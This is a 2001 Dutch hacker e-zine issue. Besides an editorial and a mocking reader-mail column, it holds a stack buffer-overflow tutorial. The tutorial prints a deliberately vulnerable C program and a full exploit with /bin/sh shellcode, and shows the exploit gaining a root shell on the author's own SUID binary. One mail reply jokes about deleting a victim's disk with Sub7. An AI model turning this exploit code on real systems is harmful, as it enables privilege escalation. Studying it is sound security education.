Copy Link
Add to Bookmark
Report
Hackers 4 Hackers #0D
Hackers 4 Hackers Issue 0D, released on 31-12-2001
___ ___ _____ ___ ___
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|D|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'31-12-2001', Momenteel 1227 lezers.
Om je aan te melden bij de maillijst kan je een mailtje sturen naar
subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres"
Of je kan je online aanmelden op http://www.hackers4hackers.org
Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen
kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org.
Uitspraak:
[ Nynex: FAK!! weer fik in me 486!! wat n stank ]
Enkele interessante sites:
http://dmrt.dyndns.org/forum
http://www.security.nl
http://hier.is/Triples
http://www.whatis.com
http://viper.dmrt.com
http://www.klaphek.nl
http://www.hack.vuurwerk.nl
http://kickme.to/hackfaq
http://www.startplaza.nu
http://www.dsinet.org
http://www.satl.com/c/hackerHOWTO.html
http://packetstorm.securify.com/docs/hack/i.only.replaced.index.html.txt
Leuke kanaaltjes op IRCnet:
#h4h
#hit2000
#nlcoders
#freeworld
01. Disclaimer............................................... (Redactie)
02. Inleiding................................................ (Redactie)
03. Lezerspost............................................... (Redactie)
04. Overflow the world....................................... (ArTA)
05. Compaq................................................... (VortexXx)
06. Kernel hacking........................................... (Gorny)
07. De Basis Van Shellscripting (deel 3)..................... (max)
08. Evenementen.............................................. (Redactie)
09. Policies in Win95........................................ (PtPtH)
10. Internet KostenBeheersing................................ (Doquan)
11. x86 Assembly Tutorial.................................... (genetics)
12. IPv6: The Next Generation................................ (Necrose)
-------------------------------------------------------
01. Disclaimer
-------------------------------------------------------
We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen.
Deze informatie dient alleen voor educatieve doeleinden. Als je in de problemen
komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar
zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de
redactie.
Correspondentie met de redactie is mogelijk per email :
Algemeen - h4h-redactie@hackers4hackers.org
Vragen e.d. - post@hackers4hackers.org
Artikelen - artikel@hackers4hackers.org
Asby (Hoofdredacteur) - asby@hackers4hackers.org
Berry (Website + Eind redactie) - berry@hackers4hackers.org
Ivo (Redactie + IRC Beheer) - ivo@hackers4hackers.org
Nighthawk (Redactie) - nighthawk@hackers4hackers.org
Tozz (Redactie) - tozz@hackers4hackers.org
Viper (Redactie) - viper@hackers4hackers.org
-------------------------------------------------------
02. Inleiding
-------------------------------------------------------
Weer een nieuwe H4H rond een mooie en slechte tijd van het jaar. Dit is de
tijd waarin de mensen het meeste geld uitgeven aan de feestdagen, maar tevens
ook de tijd dat de meeste mensen depressief zijn.
En natuurlijk de tijd dat de kerstdefaces en virussen de kop opsteken.
December is een maand waarin veel gebeurt. Leuke dingen, zoals kerstfeest,
maar ook minder leuke dingen zoals een hacker die de dood vindt.
Op 23 december jongsleden vond de hacker genaamd sLash^ de dood. Hij was een lid
van uDc, voor degene die dat wat zegt. Persoonlijk (asby) ken ik sLash^ niet
goed, ik heb hem enkele malen gesproken op IRC, en ik vond het een aardige
jongen die altijd bereid was om iemand te helpen. Als je zoiets hoort kom je
altijd met een klap met beide benen op de grond te staan. Je beseft hoe kort het
leven eigenlijk kan zijn. Ik wil bij deze sLash^ zijn vrienden, familie,
vriendin en andere verwanten condoleren met de dood van sLash^. Mochten er
mensen nog een laatste woord aan sLash^ willen richten, surf naar:
http://www.southbreak.com/uDc/index.html
Voor de rest willen we iedereen natuurlijk prettige feestdagen wensen en een
gelukkig uiteinde. Natuurlijk heeft iedereen weer zijn goede voornemens. Ik doe
daar zelf nooit zo aan en ik zal het ook niet namens H4H doen. Ik weet niet wat
dit nieuwe jaar ons gaat brengen. Laten we het gewoon afwachten.
Er zijn verder nog een paar kleine wijzigingen in de h4h, Het eindwoord is
bijvoorbeeld niet meer aanwezig. En h4h zal niet iedere maand meer verschijnen.
Om de kwaliteit van de artikelen wat omhoog te brengen zullen we dus minder vaak
verschijnen. Ook de lezerspost zal vanaf het volgende nummer afwezig zijn. We
gaan met de redactie H4H naar een "volwassener" nivo brengen. En hopen
uiteindelijk iedereen hier een plezier mee te doen!
Als afsluiter wilde we het volgende nog even kwijt: "Het schrijven
van artikelen het liefste in Plain Text zonder regeleinden!", Dit om zo weinig
mogelijk opmaakproblemen te krijgen. Ook is het gebruik van TABS af te raden.
Namens de h4h-redactie een prettige jaarswisseling en tot volgend jaar!
Asby en Berry.
-------------------------------------------------------
03. Lezerspost
-------------------------------------------------------
Hierbij vinden jullie de laatste lezerspost die in H4H zal staan. Na vele H4H's te
hebben gevuld met een gedeelte lezerspost, vinden we het genoeg geweest. Op de
vorige lezerspost die ik gedaan had kreeg ik opmerkingen dat het makkelijk scoren
was. En dat degene die de brieven schrijven geen kans kregen. Dat is echte niet geheel
waar. Het was een succes formule, dus waraom die stoppen als die perfect is?
Daarnaast kreeg iedereen die erin stond, naast dat ie in de lezerspost stond, een
normale mail terug gestuurd. Dus iedereen kreeg bij ons ook een normale kans. Dat is
iets wat bijna niemand wist. Maar voor ons is de lol er ondertussen ook vanaf. De
lezerspost zal na deze keer stoppen. Voor somiige het leukste onderdeel van de H4H,
want het was tenminste te snappen....
Laatste lezerspost:
----
hoi ben 31 jaar
[ik ongeveer 12, ofzoiets]
ben ongeveer 8 maanden
[net was je nog 31 jaar, ik vind 8 maanden wel wat jong hoor]
bezig met hacken subseven saai
[Als je wat meer woorden in een zin stop worden ze wat duidelijker]
gewoon
[Nee zo gewoon vind ik het niet]
weet jij iets voor myn
[Jups, koop een zak knikkers en ga knikkeren]
kom niet veder
[Nou zo moeilijk is knikkeren niet hoor, gewoon die ronde dingen in dat gat
zien te krijgen, met er steeds met de zijkant van je vinger tegenaan duwen]
nu.. weet jij geen leuk ander programma
[Nee, nee, nee, knikkeren is geen programma, het is een spelletje]
voor myn
[Voor jou ja]
groeten luc
[Groeten N|ghtHawk]
----
Hoe kan je nou een beetje hacke.
[Een beetje hacken? Nou dus door het niet helemaal te doen. Maar dus als je
net begonnen bent weer stoppen. Dan heb je een beetje gehacked.
Bijvoorbeeld bij ICQ
[Zeg, heb jij weleens van knikkeren gehoord?]
of is dat nou weer een stomme vraag.
[Welnee, stomme vragen krijgen we niet bij de lezerspost toch?]
Please mail me back
[Je hebt nog net de eer kunnen hebben in de laatste lezerspost te staan]
Ronald Kramer
[N|ghtHawk]
----
hee hoi
[hoi hee]
even een reactie en een vraag.
[Nou, go for it zou ik zeggen]
eerst de vraag
[Hmmz, had liever eerder de reactie gehad, maar vooruit dan maar]
kan iemand mij helpen aan een handleiding van sub7??
[Flauw he dat die er niet bij zit. Want het is toch zo een moeilijk programma.
Maar ik heb ooit een gelezen dat je gewoon de server.exe moet runnen, en dan
de client.exe. Met de client kan je dan connecte op 127.0.0.1 Een erg leuk idee is
het om zijn hele harde schijf te deleten. Have phun...]
of mij verwijzen naar een site waar alles even haarfijn word uitgelegd????
[www.ikkomnetuitdezandbakenwilleet0hackerworden.nl]
want elek keer als ik connect klik en alles ingevuld heb geeft ie aan :"damm
i discconcted"ofzo iets.
[Naar he dat het leven niet altijd mee wil zitten. Maar lees me uitleg
hierboven. Gaat vast perfect.]
ook nog een vraag
[HEY!! Je zou 1 vraag en een reactie hebben. Dit is al de tweede vraag, en mij
maar laten wachten op die reactie. Ik neem aan dat het een belangrijke vraag is]
of iemand mij kan helpen aan een hack-programmas voor de groentjes onder de
hackers
[Groentjes? Zijn er groentjes onder de hackers dan? Hmmz, nog nooit een
gezien. Zie alleen altijd leet0 figuren die zichzelf erg goed vinden met hun sub7.
Maar groene hackers?]
waarbij ik natuurlijk wel kan zien wat ik doe.
[Waarom? Je zou het toch niet snappen. Ookal wordt het in je oor
geschreeuwd wat je moet doen en wat het betekent.
okee en de reactie??
[Jah, daar zit ik al de hele tijd op te wachten.]
nou die heb ik nog niet
[Ok... Je laat me dus eerst 2 vragen van je beantwoorden en vervolgens heb je
geen reactie? Grrr..]
ik weet namelijk niet hoe dit uitpakt!!!
[gunzip dit.tar.gz | tar -xvf ]
hahahahaha nee geintje de groeten en tjuss!!!!
[Jah, lachen he. Volgens mij komt echt niemand van de lezers nu meer bij.
Houden we de onderbroek wel droog jongens?]
oh ja voor de genen met ICQ???
[Je vraagtekentoets blijft een beetje hangen, en springt zomaar aan op plaatsen
waar het nergens op slaat. Kijk ook meteen ff naar je uitroepteken toets.]
dikke schijt dat hele ICQ,
[Dat zou toch niet echt fris ruiken zo achter je computer dan]
nee geef mij maar MSN
[Geef mij maar een goed gesprek in de kroeg achter een biertje]
lekker fris simpel en overzichtelijk,
[Lijkt wel een maandverbandje]
maar ik dawwl af
[Heb ik ook weleens. Vind het altijd zeer naar als ik afdawwl.]
ik hoop dat iemand mij kan helpen.
[Ik betwijfel het]
groeten boeroe
[groeten N|ghtHawk]
boeroemetalass@hotmail.com
[nighthawk@hackers4hackers.org]
(lekker simpel mailadresje niet?
[Inderdaad, niet]
en ook nog bij hotmail foei !!!
[Het is dat je het zelf zegt]
okee ik ga me schamen!!)
[En terecht]
----
hee hiep hoi
[hoi hiep hee]
en hallo
[en ook hallo terug]
zeg ik wil even wat kwijt!
[Gewoon ergens neer leggen en vergeten waar je het hebt gelaten. Dan ben je
het kwijt]
hahah ik vind NIET oke dat als mensen jullie iets vragen dat jullie je er met een KUT-
antwoord vanafdoen.
[Volgens mij voelde jij al van te voren dat je hier in de lezerspost zou staan, of
heb je er al eerder in gestaan?]
nou mijn twijfel rijst
[Witte rijst?]
of jullie/jij wel erg bedreven zijn in het wat jullie noemen "hacken"?
[Zoals ik al eerder heb gezegt kan ik niets anders dan mensen afkraken via de
lezerspost]
boeroe
[Dejavu.....]
boeroemetalass@hotmail.com
[Hoe vaak ga je ons nog mailen?]
----
Ik ben mijn password op een Word (97) document kwijt.
[Dat is erg naar]
Hoe kan ik dat kraken?
[Op een diskette zetten en er een dikke vrouw op laten zitten]
Bijvoorbaar dank,
[Bijvoorbaar graag gedaan hoor]
groet,
[mazzels]
Jan de Buck
[N|ghtHawk]
--
Kunnen jullie mij informatie sturen
[Wat voor informatie? Over hoe je moet knikkeren?]
hoe je kunt hacken in bedrijven of zo..
[Hmmz, ik denk toch echt dat jij beter kan gaan knikkeren dan. Of breien, dat
is ook een erg leuek hobby]
Ik zou jullie erg dankbaar zijn.
[Gelukkig dan maar. Dan schrijf ik dit tenminste niet voor niets]
Arnold van Leeuwen
[N|ghtHawk]
----
i don't know if you speak english
[A very little beetje]
but i have need...of something....
[Me too...SEX..]
please..would you can......say if i can...
[Yeah, u can do it, try to say it..]
unload a database of all address ip....
[WAT?? Alle ipadressen? Lekker nuttig...]
with the name.......
[Naam? Wat voor naam, Kees, Bert, Erik, Willen-Jan-Jaap.. Zo goed?]
please....I have the scanner incomplete
[Shit happends, maar er zitten wel in meer scanners niet alle ip's
voorgeprogrammeerd. Je mag best iets zelf doen]
neo
[Wake up Neo.. You are sleeping, and sending dumb emails..]
arcaisis@gsmbox.it
[Nighthawk@hackers4hackers.org]
--
He hackers,
[Waar? Zeg me wie, ik wil een handtekening]
Hoe kom ik aan een gratis sex key password????
[Koop een playboy, daar staan ook vieze plaatjes in waar je je op kan
afrukken]
Please help........
[Sorry, het rukken zal je alleen moeten doen. Dat ga ik niet voor je doen]
Mvg,
[Zozo, vriendelijk nog wel. Nou de vriendelijke groetjes terug hoor.]
Sjakie oxbow
[N|ghtHawk]
----
Hallo beste mensen,
[Halli beste knul]
Ik ben Joris,
[Ik ben N|ghtHawk]
en een jongen die ik ken
[Ik ken ook jongens. Had liever dat ik wat meer meisjes kende]
heeft een site gemaakt waar een aantal onaardige dingen opstaan over mij.
[Dan zal je vast niet zo lief tegen hem gedaan hebben he]
Ik ken zelf geen hacker,
[Ken je wel wat meisjes? Kunnen we ruilen]
dus ik vroeg mij af of jullie iemand kennen die dat voor mij zou willen doen.
[Als jij die meisjes regelt....]
(het is maar een amateur site dus....)
[Dus..?]
Alvast bedankt,
[In ieder geval graag gedaan....meisjes?]
Joris
[N|ghtHawk]
----
Hallo,
[hoi hoi]
is er bij jullie bekent hoe ik een vergeten word paswoord kan openen
[Een password zelf openen? Dat lijkt me toch wel iets heel aparts. Zeker als je
hem vergeten bent. Misschien moet je ff goed zoeken nog. Misschien vind je hem
weer. Waar heb je em voor het laatst gebruikt voordat je hem vergat?]
Groet, Cas
[Groet, N|ghtHawk]
0318-6680XX
[Wat moet ik in godsnaam met jouw telefoon nummer? Ik ga je heus niet
stalken ofzo. Dus ik ontken hierbij dat ik jou elke avond om half elf bel. Dat ben
ik dus niet. Ik ontken alles.]
----
Hoi,
[heeeeeeeeeee]
Ik zou graag een programma gekraakt willen hebben,
[Ik zou graag eens een keer vrienden willen hebben]
maar aangezien ik er geen kaas van gegeten heb
[Kaas eten van een programma? Ik eet me kaas meestal op brood, of op een
cracker. Waar ik overigens nog een leuk spelletjes mee weet...]
hoop ik dat u mij in de juiste richting kan sturen.
[Linksaf]
Het gaat om AAA 2.2a van www.darcorp.com
[Rechtsaf dan]
Werkt met licencies en een key die je van hun krijgt.
[Als je de key al krijgt, waar is die kaas dan voor?]
Wil het programma voor onbepaalde tijd kunnen gebruiken.
[Ik wil een meisje voor onbepaalde tijd kunnen gebruiken]
Indien u details wilt, kan ik die verder geven
[Juh, ik ben wel benieuwd wat voor kaas je in gedachten had]
Regards,
[De balle]
Johan C Dees
[N|ghtHawk]
----
hoi
[hoi hoi hoi]
ik best wel een rare vraag.{ja heel raar!}
[Ow bespaar me het]
hebben jullie o800 nummers van servers ,
[0800 nummers wel, maar o800 ken ik niet]
zodat je gratis contact heb!
[Contact met een sexlijn?]
het mogen ook buitenlandse nummers zijn.
[gelukkig maar]
ik snap wel dat de providers ofzo deze nummers natuurlijk niet openbaar maken ,
[goed dat je dat snapt]
maar kunnen jullie hier voor zorgen?
[ik weet niet was o800 nummers zijn]
werto_12 #
[N|ghtHawk_18]
----
[Hier is hij dan, de allerlaatste Mail in de lezerspost. Voor de verandering zal
ik geen dingen erbij zetten. Deze mogen jullie zelf verzinnen]
ik heb al bo2k
[Verzin een grappig iets op de bovenstaande zin]
(gedownload van cult of the dead cow)
[Verzin een grappig iets op de bovenstaande zin]
maar wil graag een die goed werkt.
[Verzin een grappig iets op de bovenstaande zin. Ja het is zwaar soms]
waar is die te downloaden
[www.<verzin wat onzin>.<een land naar keuze>]
(liefst nederlands talig)
[Verzin weer een grappig iets op de bovenstaande zin]
hackers zijn toch handig ?
[Maak bijdehande opmerking]
ook heb ik sub 7 hoe werkt dit,
[Ok, dit maakt bijna hopeloos. Maar probeer er toch maar wat op te verzinnen]
ik snap niks van poorten enz.
[Dit is dan weer een inkoppertje, dus doe je best]
maar vind het hacken zeer interesant,
[Maak er wat van, dees zal ook niet al te moeilijk zijn]
snap ook niet dat mensen daar zo moeilijk over doen
[Verzin een grappig iets op de bovenstaande zin]
geheime gegevens kun je ook buiten de computer opslaan ???
[Kraak em af met een goede opmerking]
graag een bericht terug ,
[Geef hem de tranen in ze ogen met een laatste opmerking]
via email of een poort hahaha
[Kans 2, maak meer tranen]
cees
[Vul hier u naam in]
haha@ceesb.tmfweb.nl
[Eindig hier met uw emailadres, en eventueel nog een laatste opmerking]
-------------------------------------------------------
04. Overflow the world...
-------------------------------------------------------
- Inleiding
- Het geheugen
- Een vulnerable proggie
- De exploit schrijven
- De uitvoering
- Afsluiting
- Referenties
- Inleiding
Buffer overflow exploits zullen bij de meeste hackers/crackers/nerds wel bekend
zijn, aangezien het een van de meest voorkomende bugs zijn in programma's.
Vooral programma's die SUID-root draaien, webservers ed. en ander programma's
die als root gerund moeten worden lopen een groot risico om geexploit te worden.
Daarom nemen programmeurs allerlei maatregelen om het risico zo klein mogelijk
te maken. In dit artikeltje ga ik een beetje de principes van bufferoverflow
exploits proberen uit te leggen. Hierbij moet wel gezegd worden dat alle
Assembler-dumps ed. van toepassing zijn op een intel x86 processor (en dus
niet op de alpha of sparc) draaiende onder linux. Sommige info uit dit artikel
is overgenomen & vertaald uit de artikelen genoemd bij de Referenties. Deze
zijn allemaal wel te vinden bij PacketStorm. Bovendien heb ik ze ook wel op
me eigen site staan (Archive --> Buffer Overflow.) Kennis van C & Assembler is
wel heel handig voor het begrijpen van dit artikel. Voor degene die echt geen
assembler kennen, raad ik je aan om de Pascal-tutorials van Ravity te lezen.
Deze kun je vinden in het archief van Hackers4Hackers. Ravity behandelde nl.
hierin ook heel veel assembler.
- Het geheugen
In het nu volgende stukje wordt de indeling van het geheugen besproken. Op deze
manier is het gedaan met de meeste processoren, al kunnen er enkele afwijkende,
verschillen optreden. Alles is sowieso van toepassing op de intel x86-lijn.
Het geheugen van de computer is verdeeld in:
code-segment: De data hierin bestaat uit assembler-instructies die de pro-
cessor uitvoert. Er bestaan ook jump en call-statements dus
de data hierin hoeft niet lineair uitgevoert te worden. Hier-
bij wordt de EIP gebruikt. Dit is een instructie-pointer die
wijst naar het volgende stukje code dat uitgevoerd moet
worden.
data-segment: Hierin worden alle variabelen en dynamische buffers opgeslagen.
stack-segment: In de stack worden alle argumenten voor functies en variabelen
van functies opgeslagen. Het assembler-commando PUSHL zal iets
aan de top van de stack toevoegen terwijl POPL het top-item
weghaalt en opslaat in een register. Om de top van het stack-
geheugen direct aan te roepen is er de stack pointer (ESP) die
wijst naar het laagste (!) geheugen-adres van de stack.
Bij buffer overflow exploits wordt een stukje geheugen overschreven met
arbitrare (executable) code, zodat het process die code uitvoert terwijl dit
juist niet de bedoeling is *doh*.
Laten we even naar een stukje assembler-code gaan kijken. Dit is gewoon een
heel simpel voorbeeld, alleen om het even te verduidelijken.
geheugen-adres code
-------------- ----
0x8012345 pushl $0x0
0x8012346 call $0x8025689 <functie>
0x8012351 ret
0x8012352 leave
...
0x8025689 <functie> popl %eax
0x802568a addl $0x1337, %eax
0x802568e ret
Eerst zet de main-functie 0 in de stack aangezien dat een argument is dat moet
worden doorgegeven aan functie. Hierna roept main de functie aan. Deze haalt
het argument van de stack met POPL en plaatst het in register %eax.
Als functie klaar is gaat hij terug naar 0x8012351. Dit adres wordt automatisch
opgeslagen in de stack bij het aanroepen van de functie. Nu is de kunst van
het buffer-overflow gebeuren om dat adres in de stack te overschrijven zodat
de functie naar een ander adres in het geheugen gaat en daar bijvoorbeeld
"/bin/sh" uitvoert :).
- Een vulnerable proggie
We gaan nu even uit van het volgende stukje code. Dit is een simpel programma,
dat vulnerable is voor een buffer overflow-attack op de buffer[] met een
grootte van 128 bytes. Het enige wat het programma doet is het eerste argument
meegegeven aan het proggie op de commandline opnieuw printen.
vulnerable.c
int main(int argc, char **argv) {
char buffer[128];
if (argc > 1) {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
return 0;
}
[A[r]TA@localhost h4h]$ gcc ./vulnerable.c -o vulnerable
[A[r]TA@localhost h4h]$ ./vulnerable xxxxxxxxxxx
xxxxxxxxxxx
[A[r]TA@localhost h4h]$ ./vulnerable xxxxxxxxxxxxxxxxxxxx... (>128 x-jes)
Segmentation fault (core dumped)
[A[r]TA@localhost h4h]$
Aha, als je meer als 128 karakters ingeeft dan past het niet in de buffer en
zal de kernel een segmentation fault geven. Dit betekent domweg dat het pro-
gramma de invoer op een punt in het geheugen weg wilde schrijven dat daar niet
voor gereserveerd was, aangezien je maar 128 bytes gereserveerd hebt. Laten we
eens met gdb naar de assembly code van het programma gaan kijken.
NOTE: Alle stukjes tekst achter "(gdb)" moet je dus ZELF intypen!!!
[A[r]TA@localhost h4h]$ gdb ./vulnerable core
(gdb) info registers
eax: 0x0 0
ecx: 0x804852f 134513967
edx: 0x1 1
ebx: 0x4000a3c8 1073783752
esp: 0xbffffcf0 -1073742608
ebp: 0x78787878 2021161080
esi: 0x2 2
edi: 0x804842c 134513708
eip: 0x78787878 2021161080
eflags: 0x10246 IOPL: 0; flags: PF ZF IF RF
orig_eax: 0xffffffff -1
cs: 0x100023 1048611
ss: 0x9002b 589867
ds: 0x2b 43
es: 0x10002b 1048619
fs: 0x2b 43
gs: 0x2b 43
Zoals blijkt uit de registers van de processor staat er bij de EBP 0x78787878.
Deze EBP wijst naar het adres waar de functie 'strcpy' naar terugmoet als hij
klaar is. Maar doordat er teveel x-jes zijn ingevoerd staat er bij EBP alleen
maar xxxx (x78 is de hexadecimale representatie van x). Hierdoor kon de functie
'strcpy' niet goed terug naar 'main()' en dus gaf de kernel een segmentation
fault. Hoe kun je dit nou exploiten? Simpel. Je zorgt ervoor dat de EBP wordt
overschreven met een adres waar jouw shellcode staat opgeslagen in het
geheugen van je comp. Hierdoor zal 'strcpy' returnen naar jouw executable code
en dus een shell of iets dergelijks starten. En dat is namelijk waar het ons
allemaal om te doen is: root verkrijgen door middel van een buffer overflow
exploit. Je hoeft trouwens niet de EBP over te schrijven. Je kan ook de EIP
pointer overflowen. Deze wijst altijd naar het volgende uitvoerbare stukje
code. Laten we ook nog even naar de code van de main()-functie kijken. Ik heb
wel stukjes onrelevante informatie weggeknipt. Als het goed is zie je ergens
de regels als hieronder staan. Ook kijken we nog even naar de asm-code van de
functie strcpy.
(gdb) disas main
0x80484b9 <main+25>: call 0x80483dc <strcpy>
(gdb) disas strcpy
0x4004f4f5 <strcpy+37>: popl %ebp
0x4004f4f6 <strcpy+38>: ret
Wat betekent dit nu? Simpel, er wordt de functie strcpy aangeroepen. Deze
bevindt zich op adres 0x80483dc. Na uitvoer van de functie komt hij bij het
commando return en zoals te zien is op adrex 0x4004f4f6 gaat hij dan terug
naar main(), nadat hij van de stack de EBP heeft afgehaald zodat de computer
weet naar welk geheugenadres hij terug moet keren.
- De exploit schrijven
Ajajaj, nu komen we bij het interessantste deel van dit artikel. Het maken van
een exploit bij vulnerable.c. We weten inmiddels op welke adressen hij returnt
naar main() en wat er precies gebeurd als de buffer wordt geoverflowd. Deze
zaken zijn in principe niet nodig voor het maken van de simpelste exploits,
maar ze zijn wel makkelijk voor het verduidelijken van de werking van de
buffer overflow exploit :P. De meeste exploits lijken qua vorm en programmeer-
structuur heel erg op elkaar. Soms is de shellcode wel aangepast om aan sommige
filtermethodes te ontkomen, maar in grote lijnen ontlopen ze elkaar niet veel.
Ik geef nu gewoon eerst in stukjes de source, met wat uitleg hier en daar.
#include <stdlib.h>
#include <stdio.h>
Eerst beginnen we met het includen van de headerfile. Deze hoort bij de
standaard-library van GCC. stdio is nodig voor de output naar het scherm
en dergelijke dingen.
#define DEFAULT_BUFFER_SIZE 128
#define DEFAULT_OFFSET 0
#define RANGE 20
#define NOP 0x90
Aj, hier worden de macro's gedefinieerd. Overal waar de compiler
de woorden achter #define ziet staan vult hij het achterstaande getal in.
Bij de buffersize staat 128 ingevuld, precies de buffer die vulnerable.c
gebruikt. Dit hoeft echter niet. RANGE is een stukje van de buffer dat hij
niet gebruikt.
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Hierboven staat de shellcode. Dit is gewoon Assembler alleen dan in een ander
jasje. En het einde van de shellcode[] spreekt voor zich :).
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
Dit is de functie die de stack-pointer (ESP) retouneert van de exploit. Dit
is nodig om de plaats te bepalen van de shellcode ed.
int main(int argc, char **argv)
{
char buff[DEFAULT_BUFFER_SIZE+RANGE+1], *pointer;
long adres;
unsigned long stackpointer;
int offset = DEFAULT_OFFSET, buffersize = DEFAULT_BUFFER_SIZE + RANGE + 1;
int i, j;
Hier wordt de functie main() begonnen en worden alle variabelen gedeclareerd.
Ik heb geen zin om alle soorten variabelen uit te gaan leggen, of om iets te
vertellen over pointers ed. Bovendien schrijft Tozz wel eens iets over C in
dit prachtblad :P. Het lijkt me ook wel duidelijk wat er in welke variabelen
gaat worden opgeslagen.
if (argc>1)
offset = atoi(argv[1]);
Oke, hier checkt de exploit of er een argument aan hem is meegegeven. Zo, ja.
Dan wordt offset bepaald door middel van dat argument in plaats van de macro
DEFAULT_OFFSET.
stackpointer = get_sp();
adres = stackpointer - offset;
Hier wordt het adres bepaald, waar straks de string (char array) buff[]
geplaatst gaat worden.
for(i=0;i<buffersize;i+=4)
{
buff[i]=(adres&0x000000ff);
buff[i+1]=(adres&0x0000ff00)>>8;
buff[i+2]=(adres&0x00ff0000)>>16;
buff[i+3]=(adres&0xff000000)>>24;
}
Ah, hier worden in een for-loopje de juiste adressen toegewezen aan
het juiste element van de array.
for(i=0;i<(buffersize-(RANGE*2)-strlen(shellcode)-1);i++)
buff[i] = NOP;
Een ander for-loopje vult bijna de gehele buffer met NOP (0x90).
pointer = buff+buffersize-RANGE*2-strlen(shellcode)-1;
for (i=0;i<strlen(shellcode);i++)
*(pointer++) = shellcode[i];
De shellcode wordt in het geheugen geplaatst doormiddel van pointer.
buff[buffersize - 1]='\0';
printf("Jump to 0x%x\n", adres);
Mmm, behoeft geen uitleg naar mijn mening :P
execl("./vulnerable", "vulnerable", buff, 0);
}
Het uitvoeren van het programma, met de gemodificeerde buffer die als
argument daaraan wordt doorgegeven.
Misschien is het ook nog wel handig om de gehele source van exploit.c even
in zijn geheel te geven. Dat kopieert en plakt wat sneller met gpm :)
Oke dan, daar gaat ie:
exploit.c
#include <stdlib.h>
#include <stdio.h>
#define DEFAULT_BUFFER_SIZE 128
#define DEFAULT_OFFSET 0
#define RANGE 20
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char **argv)
{
char buff[DEFAULT_BUFFER_SIZE+RANGE+1], *pointer;
long adres;
unsigned long stackpointer;
int offset = DEFAULT_OFFSET, buffersize = DEFAULT_BUFFER_SIZE + RANGE + 1;
int i, j;
if (argc>1)
offset = atoi(argv[1]);
stackpointer = get_sp();
adres = stackpointer - offset;
for(i=0;i<buffersize;i+=4)
{
buff[i]=(adres&0x000000ff);
buff[i+1]=(adres&0x0000ff00)>>8;
buff[i+2]=(adres&0x00ff0000)>>16;
buff[i+3]=(adres&0xff000000)>>24;
}
for(i=0;i<(buffersize-(RANGE*2)-strlen(shellcode)-1);i++)
buff[i] = NOP;
pointer = buff+buffersize-RANGE*2-strlen(shellcode)-1;
for (i=0;i<strlen(shellcode);i++)
*(pointer++) = shellcode[i];
buff[buffersize - 1]='\0';
printf("Jump to 0x%x\n", adres);
execl("./vulnerable", "vulnerable", buff, 0);
}
- De uitvoering
Ik heb bij de vulnerable.c wel even het printf()-commando weggehaald en
even opnieuw gecompiled. Het is namelijk vreselijk irritant, al die rare
ASCII-tekens over je beeld te zien schuiven tijdens het uitvoeren van de
exploit. Hoeft natuurlijk niet, de exploit werkt zo ook wel.
Het is wel makkelijk als het vulnerable als suid-root draait, zodat je
als je dan /bin/sh uitvoert hij ook een root-shell te voorschijn tovert.
Anders krijg je gewoon je eigen shell, als de owner en de mode gewoon voor je
eigen UID zijn ingesteld. En daarvoor hebben we de exploit niet geschreven.
[A[r]TA@localhost h4h]$ su
Password:
[root@localhost h4h]# chown root.root ./vulnerable
[root@localhost h4h]# chmod 4755 ./vulnerable
[root@localhost h4h]# exit
exit
[A[r]TA@localhost h4h]$ ls -l ./vulnerable
-rwsr-xr-x 1 root root 4249 Oct 16 17:01 ./vulnerable
[A[r]TA@localhost h4h]$ ls -l ./exploit
-rwxrwxr-x 1 A[r]TA A[r]TA 5006 Oct 16 16:56 ./exploit
[A[r]TA@localhost h4h]$ ./exploit
Jump to 0xbffffd04
Segmentation fault
[A[r]TA@localhost h4h]$ ./exploit 50
Jump to 0xbffffcca
bash# whoami
root
bash#
Joohoo, we hebben root. Door middel van het overflowen van een buffer is het ons
gelukt om root te verkrijgen. Mmm, naar wat verder rondpluizen viel het me op,
dat programma's als linuxconf & mount niet werken. Deze geven nog steeds een
melding als: "Only root (super-user) can do that!" Waarschijnlijk ligt dat aan
de programma's zelf. Ik denk dat ze kijken of een user die op een normale
manier is ingelogd het commando heeft gegeven (????)
Misschien interessant om daar eens een ander keertje naar te kijken :)
- Afsluiting
Nou, dat was het dan voor deze keer. Ik hoop dat jullie er wat aan gehad
hebben er iets van geleerd hebben. Het moge wel duidelijk zijn dat als je zelf
SUID-root programma's gaat maken of gewoon server-programma's als Apache dat
het vreselijk gevaarlijk is om niets te doen om je variabelen en buffertjes te
beschermen. Let dus op met al je programma's die je als root moet runnen of je
ze nou zelf gemaakt hebt of niet. Zorg altijd voor de nieuwste patches, zodat
je in ieder geval redelijk beschermd bent. Tegen zero-days kun je toch nooit
wat doen. Voor alle kritiek, flames, reacties, lofuitingen en dergelijke
mail me gerust.
Greetz to:
J-W,
BoleoBoy,
NoPPuS,
Fedaykin en
iedereen in #h4h en #hit2000
A[r]TA (arta@penguinpowered.com)
--
http://www.arta.cjb.net
This is the way to the Sorrowfull City. This is the way to the
Eternal Suffering. This is the way to the Lost People.
Abandon All Hope....
- Referenties
